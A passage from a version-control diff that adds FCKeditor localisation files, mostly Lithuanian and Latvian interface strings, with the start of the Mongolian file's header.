+DlgSpellBtnIgnore		: "Ignoruoti",
+DlgSpellBtnIgnoreAll	: "Ignoruoti visus",
+DlgSpellBtnReplace		: "Pakeisti",
+DlgSpellBtnReplaceAll	: "Pakeisti visus",
+DlgSpellBtnUndo			: "Atšaukti",
+DlgSpellNoSuggestions	: "- Nėra pasiūlymų -",
+DlgSpellProgress		: "Vyksta rašybos tikrinimas...",
+DlgSpellNoMispell		: "Rašybos tikrinimas baigtas: Nerasta rašybos klaidų",
+DlgSpellNoChanges		: "Rašybos tikrinimas baigtas: Nėra pakeistų žodžių",
+DlgSpellOneChange		: "Rašybos tikrinimas baigtas: Vienas žodis pakeistas",
+DlgSpellManyChanges		: "Rašybos tikrinimas baigtas: Pakeista %1 žodžių",
+
+IeSpellDownload			: "Rašybos tikrinimas neinstaliuotas. Ar Jūs norite jį dabar atsisiųsti?",
+
+// Button Dialog
+DlgButtonText		: "Tekstas (Reikšmė)",
+DlgButtonType		: "Tipas",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Vardas",
+DlgCheckboxValue	: "Reikšmė",
+DlgCheckboxSelected	: "Pažymėtas",
+
+// Form Dialog
+DlgFormName		: "Vardas",
+DlgFormAction	: "Veiksmas",
+DlgFormMethod	: "Metodas",
+
+// Select Field Dialog
+DlgSelectName		: "Vardas",
+DlgSelectValue		: "Reikšmė",
+DlgSelectSize		: "Dydis",
+DlgSelectLines		: "eilučių",
+DlgSelectChkMulti	: "Leisti daugeriopą atranką",
+DlgSelectOpAvail	: "Galimos parinktys",
+DlgSelectOpText		: "Tekstas",
+DlgSelectOpValue	: "Reikšmė",
+DlgSelectBtnAdd		: "Įtraukti",
+DlgSelectBtnModify	: "Modifikuoti",
+DlgSelectBtnUp		: "Aukštyn",
+DlgSelectBtnDown	: "Žemyn",
+DlgSelectBtnSetValue : "Laikyti pažymėta reikšme",
+DlgSelectBtnDelete	: "Trinti",
+
+// Textarea Dialog
+DlgTextareaName	: "Vardas",
+DlgTextareaCols	: "Ilgis",
+DlgTextareaRows	: "Plotis",
+
+// Text Field Dialog
+DlgTextName			: "Vardas",
+DlgTextValue		: "Reikšmė",
+DlgTextCharWidth	: "Ilgis simboliais",
+DlgTextMaxChars		: "Maksimalus simbolių skaičius",
+DlgTextType			: "Tipas",
+DlgTextTypeText		: "Tekstas",
+DlgTextTypePass		: "Slaptažodis",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Vardas",
+DlgHiddenValue	: "Reikšmė",
+
+// Bulleted List Dialog
+BulletedListProp	: "Suženklinto sąrašo savybės",
+NumberedListProp	: "Numeruoto sąrašo savybės",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipas",
+DlgLstTypeCircle	: "Apskritimas",
+DlgLstTypeDisc		: "Diskas",
+DlgLstTypeSquare	: "Kvadratas",
+DlgLstTypeNumbers	: "Skaičiai (1, 2, 3)",
+DlgLstTypeLCase		: "Mažosios raidės (a, b, c)",
+DlgLstTypeUCase		: "Didžiosios raidės (A, B, C)",
+DlgLstTypeSRoman	: "Romėnų mažieji skaičiai (i, ii, iii)",
+DlgLstTypeLRoman	: "Romėnų didieji skaičiai (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Bendros savybės",
+DlgDocBackTab		: "Fonas",
+DlgDocColorsTab		: "Spalvos ir kraštinės",
+DlgDocMetaTab		: "Meta duomenys",
+
+DlgDocPageTitle		: "Puslapio antraštė",
+DlgDocLangDir		: "Kalbos kryptis",
+DlgDocLangDirLTR	: "Iš kairės į dešinę (LTR)",
+DlgDocLangDirRTL	: "Iš dešinės į kairę (RTL)",
+DlgDocLangCode		: "Kalbos kodas",
+DlgDocCharSet		: "Simbolių kodavimo lentelė",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Kita simbolių kodavimo lentelė",
+
+DlgDocDocType		: "Dokumento tipo antraštė",
+DlgDocDocTypeOther	: "Kita dokumento tipo antraštė",
+DlgDocIncXHTML		: "Įtraukti XHTML deklaracijas",
+DlgDocBgColor		: "Fono spalva",
+DlgDocBgImage		: "Fono paveikslėlio nuoroda (URL)",
+DlgDocBgNoScroll	: "Neslenkantis fonas",
+DlgDocCText			: "Tekstas",
+DlgDocCLink			: "Nuoroda",
+DlgDocCVisited		: "Aplankyta nuoroda",
+DlgDocCActive		: "Aktyvi nuoroda",
+DlgDocMargins		: "Puslapio kraštinės",
+DlgDocMaTop			: "Viršuje",
+DlgDocMaLeft		: "Kairėje",
+DlgDocMaRight		: "Dešinėje",
+DlgDocMaBottom		: "Apačioje",
+DlgDocMeIndex		: "Dokumento indeksavimo raktiniai žodžiai (atskirti kableliais)",
+DlgDocMeDescr		: "Dokumento apibūdinimas",
+DlgDocMeAuthor		: "Autorius",
+DlgDocMeCopy		: "Autorinės teisės",
+DlgDocPreview		: "Peržiūra",
+
+// Templates Dialog
+Templates			: "Šablonai",
+DlgTemplatesTitle	: "Turinio šablonai",
+DlgTemplatesSelMsg	: "Pasirinkite norimą šabloną<br>(<b>Dėmesio!</b> esamas turinys bus prarastas):",
+DlgTemplatesLoading	: "Įkeliamas šablonų sąrašas. Prašome palaukti...",
+DlgTemplatesNoTpl	: "(Šablonų sąrašas tuščias)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Apie",
+DlgAboutBrowserInfoTab	: "Naršyklės informacija",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "versija",
+DlgAboutLicense		: "Licencijuota pagal GNU mažesnės atsakomybės pagrindinės viešos licencijos sąlygas",
+DlgAboutInfo		: "Papildomą informaciją galima gauti"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/lv.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/lv.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/lv.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: lv.js
+ * 	Latvian language file.
+ * 
+ * File Authors:
+ * 		Jānis Kļaviņš (janis@4id.lv)
+ * 		Slowmo (slowmo@inbox.lv)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Samazināt rīku joslu",
+ToolbarExpand		: "Paplašināt rīku joslu",
+
+// Toolbar Items and Context Menu
+Save				: "Saglabāt",
+NewPage				: "Jauna lapa",
+Preview				: "Pārskatīt",
+Cut					: "Izgriezt",
+Copy				: "Kopēt",
+Paste				: "Ievietot",
+PasteText			: "Ievietot kā vienkāršu tekstu",
+PasteWord			: "Ievietot no Worda",
+Print				: "Drukāt",
+SelectAll			: "Iezīmēt visu",
+RemoveFormat		: "Noņemt stilus",
+InsertLinkLbl		: "Hipersaite",
+InsertLink			: "Ievietot/Labot hipersaiti",
+RemoveLink			: "Noņemt hipersaiti",
+Anchor				: "Ievietot/Labot iezīmi",
+InsertImageLbl		: "Attēls",
+InsertImage			: "Ievietot/Labot Attēlu",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Ievietot/Labot Flash",
+InsertTableLbl		: "Tabula",
+InsertTable			: "Ievietot/Labot Tabulu",
+InsertLineLbl		: "Atdalītājsvītra",
+InsertLine			: "Ievietot horizontālu Atdalītājsvītru",
+InsertSpecialCharLbl: "Īpašs simbols",
+InsertSpecialChar	: "Ievietot speciālo simbolu",
+InsertSmileyLbl		: "Smaidiņi",
+InsertSmiley		: "Ievietot smaidiņu",
+About				: "Īsumā par FCKeditor",
+Bold				: "Treknu šriftu",
+Italic				: "Slīprakstā",
+Underline			: "Apakšsvītra",
+StrikeThrough		: "Pārsvītrots",
+Subscript			: "Zemrakstā",
+Superscript			: "Augšrakstā",
+LeftJustify			: "Izlīdzināt pa kreisi",
+CenterJustify		: "Izlīdzināt pret centru",
+RightJustify		: "Izlīdzināt pa labi",
+BlockJustify		: "Izlīdzināt malas",
+DecreaseIndent		: "Samazināt atkāpi",
+IncreaseIndent		: "Palielināt atkāpi",
+Undo				: "Atcelt",
+Redo				: "Atkārtot",
+NumberedListLbl		: "Numurēts saraksts",
+NumberedList		: "Ievietot/Noņemt numerēto sarakstu",
+BulletedListLbl		: "Izcelts saraksts",
+BulletedList		: "Ievietot/Noņemt izceltu sarakstu",
+ShowTableBorders	: "Parādīt tabulas robežas",
+ShowDetails			: "Parādīt sīkāku informāciju",
+Style				: "Stils",
+FontFormat			: "Formāts",
+Font				: "Šrifts",
+FontSize			: "Izmērs",
+TextColor			: "Teksta krāsa",
+BGColor				: "Fona krāsa",
+Source				: "HTML kods",
+Find				: "Meklēt",
+Replace				: "Nomainīt",
+SpellCheck			: "Pareizrakstības pārbaude",
+UniversalKeyboard	: "Universāla klaviatūra",
+PageBreakLbl		: "Lapas pārtraukums",
+PageBreak			: "Ievietot lapas pārtraukumu",
+
+Form			: "Forma",
+Checkbox		: "Atzīmēšanas kastīte",
+RadioButton		: "Izvēles poga",
+TextField		: "Teksta rinda",
+Textarea		: "Teksta laukums",
+HiddenField		: "Paslēpta teksta rinda",
+Button			: "Poga",
+SelectionField	: "Iezīmēšanas lauks",
+ImageButton		: "Attēlpoga",
+
+FitWindow		: "Maksimizēt redaktora izmēru",
+
+// Context Menu
+EditLink			: "Labot hipersaiti",
+CellCM				: "Šūna",
+RowCM				: "Rinda",
+ColumnCM			: "Kolonna",
+InsertRow			: "Ievietot rindu",
+DeleteRows			: "Dzēst rindas",
+InsertColumn		: "Ievietot kolonnu",
+DeleteColumns		: "Dzēst kolonnas",
+InsertCell			: "Ievietot rūtiņu",
+DeleteCells			: "Dzēst rūtiņas",
+MergeCells			: "Apvienot rūtiņas",
+SplitCell			: "Sadalīt rūtiņu",
+TableDelete			: "Dzēst tabulu",
+CellProperties		: "Rūtiņas īpašības",
+TableProperties		: "Tabulas īpašības",
+ImageProperties		: "Attēla īpašības",
+FlashProperties		: "Flash īpašības",
+
+AnchorProp			: "Iezīmes īpašības",
+ButtonProp			: "Pogas īpašības",
+CheckboxProp		: "Atzīmēšanas kastītes īpašības",
+HiddenFieldProp		: "Paslēptās teksta rindas īpašības",
+RadioButtonProp		: "Izvēles poga īpašības",
+ImageButtonProp		: "Attēlpogas īpašības",
+TextFieldProp		: "Teksta rindas  īpašības",
+SelectionFieldProp	: "Iezīmēšanas lauka īpašības",
+TextareaProp		: "Teksta laukuma īpašības",
+FormProp			: "Formas īpašības",
+
+FontFormats			: "Normāls teksts;Formatēts teksts;Adrese;Virsraksts 1;Virsraksts 2;Virsraksts 3;Virsraksts 4;Virsraksts 5;Virsraksts 6;Rindkopa (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Tiek apstrādāts XHTML. Lūdzu uzgaidiet...",
+Done				: "Darīts",
+PasteWordConfirm	: "Teksta fragments, kas tiek ievietots, izskatās, ka būtu sagatavots Word'ā. Vai vēlaties to apstrādāt pirms ievietošanas?",
+NotCompatiblePaste	: "Šī darbība ir pieejama Internet Explorer'ī, kas jaunāks par 5.5 versiju. Vai vēlaties ievietot bez apstrādes?",
+UnknownToolbarItem	: "Nezināms rīku joslas objekts \"%1\"",
+UnknownCommand		: "Nezināmas darbības nosaukums \"%1\"",
+NotImplemented		: "Darbība netika paveikta",
+UnknownToolbarSet	: "Rīku joslas komplekts \"%1\" neeksistē",
+NoActiveX			: "Interneta pārlūkprogrammas drošības uzstādījumi varētu ietekmēt dažas no redaktora īpašībām. Jābūt aktivizētai sadaļai \"Run ActiveX controls and plug-ins\". Savādāk ir iespējamas kļūdas darbībā un kļūdu paziņojumu parādīšanās.",
+BrowseServerBlocked : "Resursu pārlūks nevar tikt atvērts. Pārliecinieties, ka uznirstošo logu bloķētāji ir atslēgti.",
+DialogBlocked		: "Nav iespējams atvērt dialoglogu. Pārliecinieties, ka uznirstošo logu bloķētāji ir atslēgti.",
+
+// Dialogs
+DlgBtnOK			: "Darīts!",
+DlgBtnCancel		: "Atcelt",
+DlgBtnClose			: "Aizvērt",
+DlgBtnBrowseServer	: "Skatīt servera saturu",
+DlgAdvancedTag		: "Izvērstais",
+DlgOpOther			: "<Cits>",
+DlgInfoTab			: "Informācija",
+DlgAlertUrl			: "Lūdzu, ievietojiet hipersaiti",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nav iestatīts>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Valodas lasīšanas virziens",
+DlgGenLangDirLtr	: "No kreisās uz labo (LTR)",
+DlgGenLangDirRtl	: "No labās uz kreiso (RTL)",
+DlgGenLangCode		: "Valodas kods",
+DlgGenAccessKey		: "Pieejas kods",
+DlgGenName			: "Nosaukums",
+DlgGenTabIndex		: "Ciļņu indekss",
+DlgGenLongDescr		: "Gara apraksta Hipersaite",
+DlgGenClass			: "Stilu saraksta klases",
+DlgGenTitle			: "Konsultatīvs virsraksts",
+DlgGenContType		: "Konsultatīvs satura tips",
+DlgGenLinkCharset	: "Pievienotā resursa kodu tabula",
+DlgGenStyle			: "Stils",
+
+// Image Dialog
+DlgImgTitle			: "Attēla īpašības",
+DlgImgInfoTab		: "Informācija par attēlu",
+DlgImgBtnUpload		: "Nosūtīt serverim",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Augšupielādēt",
+DlgImgAlt			: "Alternatīvais teksts",
+DlgImgWidth			: "Platums",
+DlgImgHeight		: "Augstums",
+DlgImgLockRatio		: "Nemainīga Augstuma/Platuma attiecība",
+DlgBtnResetSize		: "Atjaunot sākotnējo izmēru",
+DlgImgBorder		: "Rāmis",
+DlgImgHSpace		: "Horizontālā telpa",
+DlgImgVSpace		: "Vertikālā telpa",
+DlgImgAlign			: "Nolīdzināt",
+DlgImgAlignLeft		: "Pa kreisi",
+DlgImgAlignAbsBottom: "Absolūti apakšā",
+DlgImgAlignAbsMiddle: "Absolūti vertikāli centrēts",
+DlgImgAlignBaseline	: "Pamatrindā",
+DlgImgAlignBottom	: "Apakšā",
+DlgImgAlignMiddle	: "Vertikāli centrēts",
+DlgImgAlignRight	: "Pa labi",
+DlgImgAlignTextTop	: "Teksta augšā",
+DlgImgAlignTop		: "Augšā",
+DlgImgPreview		: "Pārskats",
+DlgImgAlertUrl		: "Lūdzu norādīt attēla hipersaiti",
+DlgImgLinkTab		: "Hipersaite",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash īpašības",
+DlgFlashChkPlay		: "Automātiska atskaņošana",
+DlgFlashChkLoop		: "Nepārtraukti",
+DlgFlashChkMenu		: "Atļaut Flash izvēlni",
+DlgFlashScale		: "Mainīt izmēru",
+DlgFlashScaleAll	: "Rādīt visu",
+DlgFlashScaleNoBorder	: "Bez rāmja",
+DlgFlashScaleFit	: "Precīzs izmērs",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Hipersaite",
+DlgLnkInfoTab		: "Hipersaites informācija",
+DlgLnkTargetTab		: "Mērķis",
+
+DlgLnkType			: "Hipersaites tips",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Iezīme šajā lapā",
+DlgLnkTypeEMail		: "E-pasts",
+DlgLnkProto			: "Protokols",
+DlgLnkProtoOther	: "<cits>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Izvēlēties iezīmi",
+DlgLnkAnchorByName	: "Pēc iezīmes nosaukuma",
+DlgLnkAnchorById	: "Pēc elementa ID",
+DlgLnkNoAnchors		: "<Šajā dokumentā nav iezīmju>",
+DlgLnkEMail			: "E-pasta adrese",
+DlgLnkEMailSubject	: "Ziņas tēma",
+DlgLnkEMailBody		: "Ziņas saturs",
+DlgLnkUpload		: "Augšupielādēt",
+DlgLnkBtnUpload		: "Nosūtīt serverim",
+
+DlgLnkTarget		: "Mērķis",
+DlgLnkTargetFrame	: "<ietvars>",
+DlgLnkTargetPopup	: "<uznirstošā logā>",
+DlgLnkTargetBlank	: "Jaunā logā (_blank)",
+DlgLnkTargetParent	: "Esošajā logā (_parent)",
+DlgLnkTargetSelf	: "Tajā pašā logā (_self)",
+DlgLnkTargetTop		: "Visredzamākajā logā (_top)",
+DlgLnkTargetFrameName	: "Mērķa ietvara nosaukums",
+DlgLnkPopWinName	: "Uznirstošā loga nosaukums",
+DlgLnkPopWinFeat	: "Uznirstošā loga nosaukums īpašības",
+DlgLnkPopResize		: "Ar maināmu izmēru",
+DlgLnkPopLocation	: "Atrašanās vietas josla",
+DlgLnkPopMenu		: "Izvēlnes josla",
+DlgLnkPopScroll		: "Ritjoslas",
+DlgLnkPopStatus		: "Statusa josla",
+DlgLnkPopToolbar	: "Rīku josla",
+DlgLnkPopFullScrn	: "Pilnā ekrānā (IE)",
+DlgLnkPopDependent	: "Atkarīgs (Netscape)",
+DlgLnkPopWidth		: "Platums",
+DlgLnkPopHeight		: "Augstums",
+DlgLnkPopLeft		: "Kreisā koordināte",
+DlgLnkPopTop		: "Augšējā koordināte",
+
+DlnLnkMsgNoUrl		: "Lūdzu norādi hipersaiti",
+DlnLnkMsgNoEMail	: "Lūdzu norādi e-pasta adresi",
+DlnLnkMsgNoAnchor	: "Lūdzu norādi iezīmi",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Izvēlies krāsu",
+DlgColorBtnClear	: "Dzēst",
+DlgColorHighlight	: "Izcelt",
+DlgColorSelected	: "Iezīmētais",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Ievietot smaidiņu",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Ievietot īpašu simbolu",
+
+// Table Dialog
+DlgTableTitle		: "Tabulas īpašības",
+DlgTableRows		: "Rindas",
+DlgTableColumns		: "Kolonnas",
+DlgTableBorder		: "Rāmja izmērs",
+DlgTableAlign		: "Novietojums",
+DlgTableAlignNotSet	: "<nav norādīts>",
+DlgTableAlignLeft	: "Pa kreisi",
+DlgTableAlignCenter	: "Centrēti",
+DlgTableAlignRight	: "Pa labi",
+DlgTableWidth		: "Platums",
+DlgTableWidthPx		: "pikseļos",
+DlgTableWidthPc		: "procentuāli",
+DlgTableHeight		: "Augstums",
+DlgTableCellSpace	: "Rūtiņu atstatums",
+DlgTableCellPad		: "Rūtiņu nobīde",
+DlgTableCaption		: "Leģenda",
+DlgTableSummary		: "Anotācija",
+
+// Table Cell Dialog
+DlgCellTitle		: "Rūtiņas īpašības",
+DlgCellWidth		: "Platums",
+DlgCellWidthPx		: "pikseļi",
+DlgCellWidthPc		: "procentos",
+DlgCellHeight		: "Augstums",
+DlgCellWordWrap		: "Teksta pārnese",
+DlgCellWordWrapNotSet	: "<nav norādīta>",
+DlgCellWordWrapYes	: "Jā",
+DlgCellWordWrapNo	: "Nē",
+DlgCellHorAlign		: "Horizontāla novietojums",
+DlgCellHorAlignNotSet	: "<Nav norādīts>",
+DlgCellHorAlignLeft	: "Pa kreisi",
+DlgCellHorAlignCenter	: "Centrēti",
+DlgCellHorAlignRight: "Pa labi",
+DlgCellVerAlign		: "Vertikālais novietojums",
+DlgCellVerAlignNotSet	: "<nav norādīts>",
+DlgCellVerAlignTop	: "Augša",
+DlgCellVerAlignMiddle	: "Vidus",
+DlgCellVerAlignBottom	: "Apakša",
+DlgCellVerAlignBaseline	: "Pamatrindā",
+DlgCellRowSpan		: "Rindu pārnese",
+DlgCellCollSpan		: "Kolonnu pārnese",
+DlgCellBackColor	: "Fona krāsa",
+DlgCellBorderColor	: "Rāmja krāsa",
+DlgCellBtnSelect	: "Iezīmē...",
+
+// Find Dialog
+DlgFindTitle		: "Meklētājs",
+DlgFindFindBtn		: "Meklēt",
+DlgFindNotFoundMsg	: "Norādītā frāze netika atrasta.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Aizvietošana",
+DlgReplaceFindLbl		: "Meklēt:",
+DlgReplaceReplaceLbl	: "Nomainīt uz:",
+DlgReplaceCaseChk		: "Reģistrjūtīgs",
+DlgReplaceReplaceBtn	: "Aizvietot",
+DlgReplaceReplAllBtn	: "Aizvietot visu",
+DlgReplaceWordChk		: "Jāsakrīt pilnībā",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Jūsu pārlūkprogrammas drošības iestatījumi nepieļauj editoram automātiski veikt ievietošanas darbību. Lūdzu, izmantojiet (Ctrl+V), lai veiktu šo darbību.",
+PasteErrorCut	: "Jūsu pārlūkprogrammas drošības iestatījumi nepieļauj editoram automātiski veikt izgriešanas darbību.  Lūdzu, izmantojiet (Ctrl+X, lai veiktu šo darbību.",
+PasteErrorCopy	: "Jūsu pārlūkprogrammas drošības iestatījumi nepieļauj editoram automātiski veikt kopēšanas darbību.  Lūdzu, izmantojiet (Ctrl+C), lai veiktu šo darbību.",
+
+PasteAsText		: "Ievietot kā vienkāršu tekstu",
+PasteFromWord	: "Ievietot no Worda",
+
+DlgPasteMsg2	: "Lūdzu, ievietojiet tekstu šajā laukumā, izmantojot klaviatūru (<STRONG>Ctrl+V</STRONG>) un apstipriniet ar <STRONG>Darīts!</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorēt iepriekš norādītos fontus",
+DlgPasteRemoveStyles	: "Noņemt norādītos stilus",
+DlgPasteCleanBox		: "Apstrādāt laukuma saturu",
+
+// Color Picker
+ColorAutomatic	: "Automātiska",
+ColorMoreColors	: "Plašāka palete...",
+
+// Document Properties
+DocProps		: "Dokumenta īpašības",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Iezīmes īpašības",
+DlgAnchorName		: "Iezīmes nosaukums",
+DlgAnchorErrorName	: "Lūdzu norādiet iezīmes nosaukumu",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Netika atrasts vārdnīcā",
+DlgSpellChangeTo		: "Nomainīt uz",
+DlgSpellBtnIgnore		: "Ignorēt",
+DlgSpellBtnIgnoreAll	: "Ignorēt visu",
+DlgSpellBtnReplace		: "Aizvietot",
+DlgSpellBtnReplaceAll	: "Aizvietot visu",
+DlgSpellBtnUndo			: "Atcelt",
+DlgSpellNoSuggestions	: "- Nav ieteikumu -",
+DlgSpellProgress		: "Notiek pareizrakstības pārbaude...",
+DlgSpellNoMispell		: "Pareizrakstības pārbaude pabeigta: kļūdas netika atrastas",
+DlgSpellNoChanges		: "Pareizrakstības pārbaude pabeigta: nekas netika labots",
+DlgSpellOneChange		: "Pareizrakstības pārbaude pabeigta: 1 vārds izmainīts",
+DlgSpellManyChanges		: "Pareizrakstības pārbaude pabeigta: %1 vārdi tika mainīti",
+
+IeSpellDownload			: "Pareizrakstības pārbaudītājs nav pievienots. Vai vēlaties to lejupielādēt tagad?",
+
+// Button Dialog
+DlgButtonText		: "Teksts (vērtība)",
+DlgButtonType		: "Tips",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nosaukums",
+DlgCheckboxValue	: "Vērtība",
+DlgCheckboxSelected	: "Iezīmēts",
+
+// Form Dialog
+DlgFormName		: "Nosaukums",
+DlgFormAction	: "Darbība",
+DlgFormMethod	: "Metode",
+
+// Select Field Dialog
+DlgSelectName		: "Nosaukums",
+DlgSelectValue		: "Vērtība",
+DlgSelectSize		: "Izmērs",
+DlgSelectLines		: "rindas",
+DlgSelectChkMulti	: "Atļaut vairākus iezīmējumus",
+DlgSelectOpAvail	: "Pieejamās iespējas",
+DlgSelectOpText		: "Teksts",
+DlgSelectOpValue	: "Vērtība",
+DlgSelectBtnAdd		: "Pievienot",
+DlgSelectBtnModify	: "Veikt izmaiņas",
+DlgSelectBtnUp		: "Augšup",
+DlgSelectBtnDown	: "Lejup",
+DlgSelectBtnSetValue : "Noteikt kā iezīmēto vērtību",
+DlgSelectBtnDelete	: "Dzēst",
+
+// Textarea Dialog
+DlgTextareaName	: "Nosaukums",
+DlgTextareaCols	: "Kolonnas",
+DlgTextareaRows	: "Rindas",
+
+// Text Field Dialog
+DlgTextName			: "Nosaukums",
+DlgTextValue		: "Vērtība",
+DlgTextCharWidth	: "Simbolu platums",
+DlgTextMaxChars		: "Simbolu maksimālais daudzums",
+DlgTextType			: "Tips",
+DlgTextTypeText		: "Teksts",
+DlgTextTypePass		: "Parole",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nosaukums",
+DlgHiddenValue	: "Vērtība",
+
+// Bulleted List Dialog
+BulletedListProp	: "Aizzīmju saraksta īpašības",
+NumberedListProp	: "Numerētā saraksta īpašības",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tips",
+DlgLstTypeCircle	: "Aplis",
+DlgLstTypeDisc		: "Disks",
+DlgLstTypeSquare	: "Kvadrāts",
+DlgLstTypeNumbers	: "Skaitļi (1, 2, 3)",
+DlgLstTypeLCase		: "Maziem burtiem (a, b, c)",
+DlgLstTypeUCase		: "Lieliem burtiem (A, B, C)",
+DlgLstTypeSRoman	: "Maziem romiešu cipariem (i, ii, iii)",
+DlgLstTypeLRoman	: "Lieliem romiešu cipariem (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Vispārīga informācija",
+DlgDocBackTab		: "Fons",
+DlgDocColorsTab		: "Krāsas un robežu nobīdes",
+DlgDocMetaTab		: "META dati",
+
+DlgDocPageTitle		: "Dokumenta virsraksts <Title>",
+DlgDocLangDir		: "Valodas lasīšanas virziens",
+DlgDocLangDirLTR	: "No kreisās uz labo (LTR)",
+DlgDocLangDirRTL	: "No labās uz kreiso (RTL)",
+DlgDocLangCode		: "Valodas kods",
+DlgDocCharSet		: "Simbolu kodējums",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Cits simbolu kodējums",
+
+DlgDocDocType		: "Dokumenta tips",
+DlgDocDocTypeOther	: "Cits dokumenta tips",
+DlgDocIncXHTML		: "Ietvert XHTML deklarācijas",
+DlgDocBgColor		: "Fona krāsa",
+DlgDocBgImage		: "Fona attēla hipersaite",
+DlgDocBgNoScroll	: "Fona attēls ir fiksēts",
+DlgDocCText			: "Teksts",
+DlgDocCLink			: "Hipersaite",
+DlgDocCVisited		: "Apmeklēta hipersaite",
+DlgDocCActive		: "Aktīva hipersaite",
+DlgDocMargins		: "Lapas robežas",
+DlgDocMaTop			: "Augšā",
+DlgDocMaLeft		: "Pa kreisi",
+DlgDocMaRight		: "Pa labi",
+DlgDocMaBottom		: "Apakšā",
+DlgDocMeIndex		: "Dokumentu aprakstoši atslēgvārdi (atdalīti ar komatu)",
+DlgDocMeDescr		: "Dokumenta apraksts",
+DlgDocMeAuthor		: "Autors",
+DlgDocMeCopy		: "Autortiesības",
+DlgDocPreview		: "Priekšskats",
+
+// Templates Dialog
+Templates			: "Sagataves",
+DlgTemplatesTitle	: "Satura sagataves",
+DlgTemplatesSelMsg	: "Lūdzu, norādiet sagatavi, ko atvērt editorā<br>(patreizējie dati tiks zaudēti):",
+DlgTemplatesLoading	: "Notiek sagatavju saraksta ielāde. Lūdzu, uzgaidiet...",
+DlgTemplatesNoTpl	: "(Nav norādītas sagataves)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Par",
+DlgAboutBrowserInfoTab	: "Informācija par pārlūkprogrammu",
+DlgAboutLicenseTab	: "Licence",
+DlgAboutVersion		: "versija",
+DlgAboutLicense		: "Programmatūra lietojama saskaņā ar GNU Lesser General Public License",
+DlgAboutInfo		: "Papildus informācija ir pieejama"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/mn.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/mn.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/mn.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: mn.js
+ * 	Mongolian language file.
+ * 
+ * File Authors:
+ * 		Lkamtseren ODONBAATAR (odonbaatarl@yahoo.com)
+ */
